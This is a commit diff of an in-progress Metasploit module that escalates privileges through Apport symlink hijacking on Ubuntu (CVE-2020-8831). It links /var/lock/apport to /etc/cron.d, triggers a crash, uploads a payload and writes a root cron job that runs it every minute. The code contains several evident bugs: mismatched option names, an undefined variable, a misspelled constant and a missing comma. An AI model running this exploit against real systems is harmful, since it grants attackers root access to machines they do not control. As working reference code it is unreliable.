2
2
class MetasploitModule < Msf ::Exploit ::Local
3
3
Rank = NormalRanking
4
4
5
- # TODO get exact apport version after setting up a test environment
5
+ include Msf ::Post ::Linux ::System
6
+ include Msf ::Post ::File
7
+ include Msf ::Post ::File ::FileStat
8
+
6
9
# TODO targets in the initialize method and how they work
7
10
# TODO other priv esc vectors, startup folders, periodic scripts
8
- # The vunerable version of apport may be available on other systems, distros and versions
9
-
11
+ # change name to apport exploit, checking lesser version of apport in check method, are they vunerable?
10
12
def initialize ( info = { } )
11
13
super (
12
14
update_info (
13
15
info ,
14
- 'Name' => 'Ubuntu Xenial Xerus Apport Symlink Hijacking Privilege Escalation ' ,
16
+ 'Name' => 'Apport Symlink Hijacking Privilege Escalation ' ,
15
17
'Description' => %q{
16
- On the Ubuntu Xenial Xerus 16.04.7 release the Apport 2.20 crash handler is vulnerable
17
- to symlink injection . Following a crash Apport will write reports to /var/lock/apport/lock,
18
+ On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
19
+ to symlink hijacking . Following a crash Apport will write reports to /var/lock/apport/lock,
18
20
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
19
- able to create files with global 0777 permissions. This module exploits this weaknes by writing
20
- payloads to /etc/crontab/ as the root user.
21
-
21
+ able to create files with global 0777 permissions. This module exploits this weaknes by creating a
22
+ symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
23
+ elevated permissions.
22
24
} ,
23
25
'License' => MSF_LICENSE ,
24
26
'Author' => [
25
27
'gardnerapp' # mirageinfosec.cloud
26
28
] ,
27
29
'References' => [
28
30
[
29
- 'URL' , 'https://nostarch.com/zero-day' # pg. 59
31
+ 'URL' , 'https://nostarch.com/zero-day' , # pg. 59
32
+ 'URL' , 'https://ubuntu.com/security/CVE-2020-8831' ,
33
+ 'URL' , 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
30
34
]
31
35
] ,
32
36
'Platform' => 'linux' ,
33
37
'Targets' => [
34
38
[
35
-
39
+ 'Linux_Binary' ,
40
+ {
41
+ 'Arch' => [ ARCH_AARCH64 , ARCH_X64 ]
42
+ }
43
+ ] ,
44
+ [
45
+ 'Linux_Command' ,
46
+ {
47
+ 'Arch' => ARCH_CMD
48
+ 'Payload' =>
49
+ {
50
+ 'BadChars' => "\x22 \x27 "
51
+ }
52
+ }
36
53
]
37
54
] ,
38
55
'Payload' => {
39
56
'BadChars' => "\x00 "
40
57
} ,
41
58
'Privileged' => false ,
42
- 'DisclosureDate' => '' ,
59
+ 'DisclosureDate' => '2 April 2020 ' ,
43
60
'DefaultTarget' => 0 ,
44
61
'Notes' => {
45
62
'Stability' => [ CRASH_SAFE ] ,
46
63
'Reliability' => [ REPEATABLE_SESSION ] ,
47
64
'SideEffects' => [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ]
48
65
} ,
49
66
)
50
- register_options [
51
- OptString . new ( 'Cron Name' , [ true , 'Name of the Crontab file' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] )
52
- ]
67
+ )
68
+
69
+ register_options (
70
+ OptString . new ( 'WRITABLE_DIR' , [ true , 'A directory we can write to.' , '/tmp' ] ) ,
71
+ OptString . new ( 'PAYLOAD_FILENAME' , [ true , 'Name of payload' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] ) ,
72
+ OptString . new ( 'CRON_FILENAME' , [ true , 'Name of the cron file' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] ) ,
73
+ OptString . new ( 'CRON_INTERVAL' , [ true , 'Specify how often the Cron should run. Default is every minute.' , '* * * * *' ] )
53
74
)
54
75
end
55
76
56
77
def check
57
- # Check Ubuntu
58
- # Check Release
59
- # Check Apport presence and version
60
- return CheckCode ::Safe unless session . platform == 'linux'
78
+ return CheckCode ::Safe ( 'Platform is not Linux' ) unless session . platform == 'linux'
79
+
80
+ return CheckCode ::Safe ( 'Target is not Ubuntu' ) unless kernel_version =~ /[uU]buntu/
61
81
62
- return CheckCode ::Safe unless kernel_version =~ /[uU]buntu/
82
+ sys_info = get_sysinfo
83
+ puts system_info
84
+
85
+ distro = sysinfo [ :distro ]
86
+ puts distro
87
+ version = sysinfo [ :version ]
88
+ puts system_info
63
89
64
90
# Check apport version
65
91
if !command_exists? ( 'apport-cli' )
@@ -75,16 +101,55 @@ def check
75
101
vulnerable = Rex ::Version . new '2.20'
76
102
# Were there prior versions of apport which are NOT vulnerableii
77
103
# if version < vulnerable return bad
78
-
79
104
end
80
105
81
- def exploit
82
- # Methods for
83
- # symlinking /var/lock/apport to /etc/crontab
84
- # Touching a file to this
85
- # verifying the permissions on the file (root ownership)
86
- # writing payloads
87
- # what type of payloads
106
+ # hijack symlink by creating apport crash
107
+ def hijack_apport
108
+ # Create symlink
109
+ # might need to change linked directory
110
+ cmd_exec 'ln -s /etc/cron.d /var/lock/apport'
111
+
112
+ # CreatE crash and trigger apport
113
+ cmd_exec 'sleep 10s & kill -11 $!'
114
+
115
+ # need method for seeing if file is owned by root and combine with and gate
116
+ # if uid method does not work remove Msf::Post::File::FileStat
117
+ if !writable? ( '/etc/crontab/lock' ) || uid ( '/etc/crontab/lock' ) != 0
118
+ fail_with ( Failue ::NotFound , 'Exploit was unable to create a crontab owned by root.' )
119
+ end
120
+ end
121
+
122
+ def write_payload
123
+ print_status 'Uploading payload'
124
+
125
+ pay_dir = datastore [ 'WritableDir' ]
126
+
127
+ pay_dir += '/' unless pay_dir . ends_with? '/'
128
+
129
+ pay_file = datastore [ 'PayloadFilename' ]
130
+
131
+ @pay_dest = "#{ pay_dir } #{ pay_file } "
132
+
133
+ # create the payload
134
+ if target . arch . first == ARCH_CMD
135
+ payload = payload . encoded
136
+ upload_and_chmodx pay_dest , payload
137
+ else
138
+ upload_and_chmodx pay_dest , generate_payload_exe
139
+ end
88
140
end
89
141
142
+ def write_cron
143
+ cron_file = datastore [ 'CRON_FILENAME' ]
144
+ cron_interval = datastore [ 'CRON_INTERVAL' ]
145
+ write_file ( cron_file , "#{ cron_interval } #{ @pay_file } " )
146
+ end
147
+
148
+ def exploit
149
+ hijack_apport
150
+
151
+ write_payload
152
+
153
+ write_cron
154
+ end
90
155
end
0 commit comments